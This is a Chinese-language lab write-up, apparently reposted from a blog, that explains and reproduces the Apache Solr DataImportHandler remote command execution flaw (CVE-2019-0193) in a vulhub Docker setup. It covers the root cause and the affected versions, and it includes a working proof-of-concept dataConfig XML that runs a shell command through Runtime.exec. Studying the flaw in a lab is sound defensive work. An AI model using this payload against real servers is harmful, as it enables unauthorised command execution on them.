Apache Solr远程命令执行漏洞(CVE-2019-0193)

本文阅读 3 分钟

Solr是基于Lucene的面向企业搜索的web应用,是一个独立的企业级搜索应用服务器。它对外提供类似于Web-service的API接口。

用户可以通过HTTP请求,向搜索引擎服务器提交一定格式的XML文件,生成索引; 也可以通过HTTP GET操作提出查找请求,并得到Xml/json格式的返回结果。

Apache Solr下载安装

此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

该漏洞的产生是由于两方面的原因: 1、用户在solrconfig.xml文件中设置了DataImportHandler,开启了DataImport功能。 2、DataImportHandler模块允许用户自己包含脚本,来进行配置。

攻击者可以通过构造恶意的脚本交由转换器进行解析,在Solr解析的过程中并未对用户的输入做检查,可导致攻击者远程在Solr服务器上执行命令。

影响版本:
Apache Solr < 8.2.0

启动环境后,创建索引库core:AAAAAA img 访问:http://ip:8983

点击Core Selector中的test,复制如下poc到Dataimport的Configuration中,点击 Execute with this Configuration。 在此处选择开启debug模式,如果solr开启了debug,即debug=true,那么就可以通过 http 请求动态的指定dataConfig.xml的内容。 img

POC:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){  java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

发送数据包后成功收到请求,漏洞命令执行成功:

docker ps -a    //查看当前启动的容器
docker exec -it id /bin/bash   //使用容器id进入容器

img

参考链接: https://solr.apache.org/ https://vulhub.org/#/environments/solr/CVE-2019-0193/

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/117746826
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复